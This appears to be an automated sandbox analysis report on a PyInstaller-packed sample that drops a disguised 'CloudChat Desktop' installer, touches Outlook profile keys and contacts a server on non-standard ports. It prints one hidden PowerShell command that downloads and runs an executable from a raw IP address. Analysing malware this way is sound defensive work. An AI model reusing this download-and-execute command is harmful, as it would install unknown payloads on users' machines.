Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6666-4FBF-9CA8-7A333C87D1ED}_is1

Jump to behavior

Source: LIccs3x2LZ.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: LIccs3x2LZ.exe

Static file information: File size 30202389 > 1048576

Source: LIccs3x2LZ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: LIccs3x2LZ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: LIccs3x2LZ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: LIccs3x2LZ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: LIccs3x2LZ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: LIccs3x2LZ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: LIccs3x2LZ.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: LIccs3x2LZ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\A\34\b\bin\amd64\_sqlite3.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2096780181.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2149532149.00007FF8B93CB000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\select.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2104084226.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\TBuild\pc_client\out\Release\CloudChat.exe.pdb source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_lzma.pdbMM source: LIccs3x2LZ.exe, 00000000.00000003.2096428051.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2149060764.00007FF8B8B3D000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_bz2.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2095952667.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2150055084.00007FF8B9F6F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-3.8\Release\pywintypes.pdb** source: LIccs3x2LZ.exe, 00000003.00000002.2148654788.00007FF8B7E51000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a01\_work\26\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2095647055.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2150167259.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\sqlite3.pdb source: LIccs3x2LZ.exe, 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-3.8\Release\win32crypt.pdb!! source: LIccs3x2LZ.exe, 00000003.00000002.2148954147.00007FF8B8B02000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_hashlib.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2096259087.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\TBuild\pc_client\out\Release\CloudChat.exe.pdb1T source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-3.8\Release\pywintypes.pdb source: LIccs3x2LZ.exe, 00000003.00000002.2148654788.00007FF8B7E51000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\python38.pdb source: LIccs3x2LZ.exe, 00000003.00000002.2146134292.00007FF8A8E0C000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_socket.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2096641661.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: <glob pattern="*.pdb"/> source: CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-3.8\Release\win32crypt.pdb source: LIccs3x2LZ.exe, 00000003.00000002.2148954147.00007FF8B8B02000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_ctypes.pdb source: LIccs3x2LZ.exe, 00000003.00000002.2149362108.00007FF8B8F82000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_lzma.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2096428051.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2149060764.00007FF8B8B3D000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\unicodedata.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2104935897.00000266D2F7B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a01\_work\26\s\\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: LIccs3x2LZ.exe, 00000000.00000003.2095820479.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2150314208.00007FF8BA4F5000.00000002.00000001.01000000.0000000E.sdmp

Source: LIccs3x2LZ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: LIccs3x2LZ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: LIccs3x2LZ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: LIccs3x2LZ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: LIccs3x2LZ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path"

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Code function: 3_2_00007FF8B7E4E380 GetModuleHandleW,LoadLibraryW,GetProcAddress,AddAccessAllowedAce,GetProcAddress,AddAccessDeniedAce,GetProcAddress,AddAccessAllowedAceEx,GetProcAddress,AddMandatoryAce,GetProcAddress,AddAccessAllowedObjectAce,GetProcAddress,AddAccessDeniedAceEx,GetProcAddress,AddAccessDeniedObjectAce,GetProcAddress,AddAuditAccessAceEx,GetProcAddress,AddAuditAccessObjectAce,GetProcAddress,SetSecurityDescriptorControl,InitializeCriticalSection,TlsAlloc,DeleteCriticalSection,TlsFree,

3_2_00007FF8B7E4E380

Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.0.dr	Static PE information: section name: .didata
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe.3.dr	Static PE information: section name: .didata
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp.7.dr	Static PE information: section name: .didata
Source: is-BG1K1.tmp.9.dr	Static PE information: section name: .didata
Source: is-CGK3C.tmp.9.dr	Static PE information: section name: .rodata
Source: is-CGK3C.tmp.9.dr	Static PE information: section name: .qtmetad
Source: is-CGK3C.tmp.9.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8AAE9E1 push r8; ret	3_2_00007FF8A8AAE9E3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF848F36A4A push eax; retf	18_2_00007FF848F36A4B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF848F36A5A pushad ; retf	18_2_00007FF848F36A5B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF848F37C2E pushad ; retf	18_2_00007FF848F37C5D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF848F3842E pushad ; ret	18_2_00007FF848F3845D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF848F37C5E push eax; retf	18_2_00007FF848F37C6D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF848F3845E push eax; ret	18_2_00007FF848F3846D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF848F3652A push eax; ret	18_2_00007FF848F3652B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF848F3653A pushad ; ret	18_2_00007FF848F3653B

Persistence and Installation Behavior

Found pyInstaller with non standard icon

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Process created: "C:\Users\user\Desktop\LIccs3x2LZ.exe"

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	File created: C:\Users\user\AppData\Roaming\CloudChat Desktop\is-BG1K1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	File created: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\pywin32_system32\pywintypes38.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	File created: C:\Users\user\AppData\Local\Temp\is-L4TEK.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	File created: C:\Users\user\AppData\Roaming\CloudChat Desktop\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	File created: C:\Users\user\AppData\Roaming\CloudChat Desktop\is-TSCLB.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\python38.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	File created: C:\Users\user\AppData\Roaming\CloudChat Desktop\is-CGK3C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	File created: C:\Users\user\AppData\Roaming\CloudChat Desktop\is-7GS9C.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	File created: C:\Users\user\AppData\Roaming\CloudChat Desktop\Updater.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	File created: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	File created: C:\Users\user\AppData\Roaming\CloudChat Desktop\dbghelp.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI71322\_hashlib.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI71322\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\CloudChat Desktop	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\CloudChat Desktop\CloudChat.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\CloudChat Desktop\Uninstall CloudChat.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 49998

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Code function: 0_2_00007FF6929E4C50 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

0_2_00007FF6929E4C50

Source: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
